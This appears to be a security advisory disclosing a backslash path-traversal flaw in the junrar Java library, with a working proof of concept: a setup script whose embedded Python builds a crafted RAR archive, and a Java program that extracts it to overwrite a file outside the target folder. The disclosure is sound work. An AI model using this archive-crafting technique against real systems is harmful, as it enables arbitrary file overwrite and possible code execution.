Junrar has an arbitrary file write due to backslash Path Traversal bypass in LocalFolderExtractor on Linux/Unix

Summary

A backslash path traversal vulnerability in LocalFolderExtractor allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc).

Details

The createFile() method in LocalFolderExtractor.java validates extraction paths using getCanonicalPath().startsWith() to ensure files stay within the destination directory:

File f = new File(destination, name);
String dirCanonPath = f.getCanonicalPath();
if (!dirCanonPath.startsWith(destination.getCanonicalPath())) {
    throw new IllegalStateException("Rar contains file with invalid path: '" + dirCanonPath + "'");
}

On Linux/Unix, backslashes are literal filename characters, not path separators. A RAR entry named ..\..\tmp\evil.txt is treated by getCanonicalPath() as a single literal filename containing backslash characters — no .. resolution occurs, and the startsWith check passes.

However, makeFile() then splits the filename on backslashes and reconstructs the path using the platform's file separator:

final String[] dirs = name.split("\\\\");
// dirs = ["..", "..", "tmp", "evil.txt"]
// ...
path = path + File.separator + dirs[i];  // File.separator is "/" on Linux

This converts the literal backslashes into real directory traversal: ../../tmp/evil.txt. The extract() method then opens a FileOutputStream on this path and writes the RAR entry's content to it, achieving arbitrary file write outside the extraction directory.

On Windows this is not exploitable because backslashes are path separators, so getCanonicalPath() correctly resolves the .. components and the startsWith check blocks the traversal.

Affected versions: Tested on 7.5.7 (latest). Likely affects all versions that include the makeFile() backslash-splitting logic in LocalFolderExtractor.

PoC (Files Below)

Prerequisites: Linux/Unix system with Java 17+ and Maven installed.

1. Run bash poc_setup.sh which installs junrar 7.5.7 via Maven, creates a malicious RAR archive containing an entry with a backslash-traversal filename (..\..\tmp\existing-file), and creates /tmp/existing-file with the content "Existing File" to simulate a pre-existing file.
2. Run mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q
3. Observe the output shows /tmp/existing-file was overwritten from "Existing File" to "Overwritten", confirming the file outside the extraction directory was written with attacker-controlled content.

The PoC uses Junrar.extract() — the standard public API for extracting RAR archives.

Impact

Any application that extracts user-supplied RAR archives using junrar on Linux/Unix is vulnerable to arbitrary file write/overwrite with attacker-controlled content. This can often lead to RCE.

This affects all Linux/Unix deployments. Windows is not affected.

POC Files

poc_setup.sh

#!/bin/bash
# Setup script for junrar backslash path traversal PoC
# Vulnerability: CWE-22/CWE-29 - Backslash path traversal bypass in LocalFolderExtractor
# Package: com.github.junrar:junrar 7.5.7 (Java)

set -e

# Use the directory where this script lives as the working directory
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
cd "$SCRIPT_DIR"

echo "=== Setting up junrar backslash path traversal PoC ==="
echo "Working directory: $SCRIPT_DIR"

# Clean up artifacts from previous runs
rm -f malicious.rar
rm -rf target extraction-output

# Verify Java and Maven are available
java -version 2>&1 | head -1 || { echo "ERROR: Java not found"; exit 1; }
mvn -version 2>&1 | head -1 || { echo "ERROR: Maven not found"; exit 1; }

# Create Maven project
cat > pom.xml << 'POMEOF'
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.test</groupId>
    <artifactId>junrar-poc</artifactId>
    <version>1.0</version>
    <packaging>jar</packaging>
    <properties>
        <maven.compiler.source>17</maven.compiler.source>
        <maven.compiler.target>17</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <dependency>
            <groupId>com.github.junrar</groupId>
            <artifactId>junrar</artifactId>
            <version>7.5.7</version>
        </dependency>
    </dependencies>
</project>
POMEOF

# Install dependencies
echo "Installing junrar 7.5.7..."
mvn dependency:resolve -q

# Copy and compile PoC
mkdir -p src/main/java/com/test
cp poc.java src/main/java/com/test/BackslashTraversalPoC.java
echo "Compiling PoC..."
mvn compile -q

# Verify junrar version
echo "Installed: junrar 7.5.7"

# Create the malicious RAR3 archive:
#   Entry 1: file with name "..\..\tmp\existing-file" containing "Overwritten"
#
# On Linux, createFile() validates the path using getCanonicalPath().startsWith().
# Since backslashes are literal characters on Linux, getCanonicalPath() does NOT
# resolve the ".." components, so the check passes. makeFile() then splits on
# backslashes and joins with File.separator (/), converting the literal backslashes
# into real directory traversal: ../../tmp/existing-file
python3 << 'PYEOF'
import struct, zlib

RAR3_MAGIC = b'Rar!\x1a\x07\x00'
RAR_BLOCK_MAIN = 0x73
RAR_BLOCK_FILE = 0x74
RAR_BLOCK_ENDARC = 0x7b
RAR_LONG_BLOCK = 0x8000
RAR_OS_UNIX = 3
RAR_M0 = 0x30      # Store (no compression)
S_IFREG = 0o100000

def crc16(data):
    return zlib.crc32(data) & 0xFFFF

def main_header():
    # Standard RAR3 main archive header (non-encrypted)
    # After the 7-byte base block: HighPosAv (2 bytes) + PosAv (4 bytes)
    # junrar always reads exactly 6 bytes here (MainHeader.mainHeaderSize = 6)
    extra = struct.pack('<HI', 0, 0)  # HighPosAv=0, PosAv=0
    header_data = struct.pack('<BHH', RAR_BLOCK_MAIN, 0, 7 + len(extra)) + extra
    return struct.pack('<H', crc16(header_data)) + header_data

def file_block(filename, file_data):
    fname = filename.encode('utf-8')
    data = file_data.encode('utf-8')
    mode = S_IFREG | 0o644
    # UNP_VER=0: junrar's doUnpack() calls unstoreFile() when method==0x30,
    # then falls through to a switch on UNP_VER. Using 0 avoids matching any
    # decompression case (15/20/26/29/36), so only unstoreFile() runs.
    file_hdr = struct.pack('<LLBLLBBHL',
        len(data), len(data), RAR_OS_UNIX,
        zlib.crc32(data) & 0xFFFFFFFF, 0x5A210000,
        0, RAR_M0, len(fname), mode)
    header_body = struct.pack('<BHH', RAR_BLOCK_FILE, RAR_LONG_BLOCK,
        7 + len(file_hdr) + len(fname)) + file_hdr + fname
    return struct.pack('<H', crc16(header_body)) + header_body + data

def endarc():
    # junrar's EndArcHeader.isValid() requires flags=0x4000 and CRC=0x3DC4
    header_data = struct.pack('<BHH', RAR_BLOCK_ENDARC, 0x4000, 7)
    crc = crc16(header_data)
    return struct.pack('<H', crc) + header_data

archive = bytearray()
archive += RAR3_MAGIC
archive += main_header()
# Backslash-separated path: on Linux, createFile() sees literal backslashes,
# but makeFile() splits on them and joins with /
archive += file_block('..\\..\\tmp\\existing-file', 'Overwritten\n')
archive += endarc()

with open('malicious.rar', 'wb') as f:
    f.write(archive)
PYEOF
echo "Created malicious.rar"

# Create the target file so it can be validated before running the payload
printf "Existing File\n" > /tmp/existing-file

echo ""
echo "=== Setup complete ==="
echo "Validate: cat /tmp/existing-file  (should show 'Existing File')"
echo "Run PoC: mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q"

poc.java

package com.test;

import com.github.junrar.Junrar;
import java.io.File;
import java.nio.file.Files;
import java.nio.file.Path;

/**
 * PoC: Backslash path traversal bypass in junrar 7.5.7
 *
 * A RAR archive containing an entry with backslash-separated ".." components
 * bypasses the createFile() canonical path validation on Linux and writes
 * files outside the extraction directory via makeFile()'s path reconstruction.
 */
public class BackslashTraversalPoC {

    static final String TARGET = "/tmp/existing-file";
    static final String ARCHIVE = "malicious.rar";

    public static void main(String[] args) throws Exception {
        File archive = new File(ARCHIVE);
        if (!archive.exists()) {
            archive = new File(new File(System.getProperty("user.dir")).getParent(), ARCHIVE);
        }

        // Step 1: Verify the pre-existing file (created by poc_setup.sh)
        File target = new File(TARGET);
        if (!target.exists()) {
            System.out.println("ERROR: " + TARGET + " not found. Run poc_setup.sh first.");
            System.exit(1);
        }

        System.out.println("Before extraction:");
        System.out.println("  " + TARGET + " => " + Files.readString(Path.of(TARGET)).trim());
        System.out.println();

        // Step 2: Extract the malicious archive
        Path extractDir = Files.createTempDirectory("junrar-poc-");
        System.out.println("Extracting " + archive.getAbsolutePath() + " into " + extractDir + " ...");
        try {
            Junrar.extract(archive, extractDir.toFile());
        } catch (Exception e) {
            System.out.println("Extraction error (may be expected): " + e.getMessage());
        }
        System.out.println();

        // Step 3: Show the result
        System.out.println("After extraction:");
        String content = Files.readString(Path.of(TARGET)).trim();
        System.out.println("  " + TARGET + " => " + content);
        System.out.println();

        if (content.equals("Overwritten")) {
            System.out.println("VULNERABLE: junrar 7.5.7 backslash traversal overwrote " + TARGET);
        } else {
            System.out.println("NOT VULNERABLE: file contents unchanged");
        }
    }
}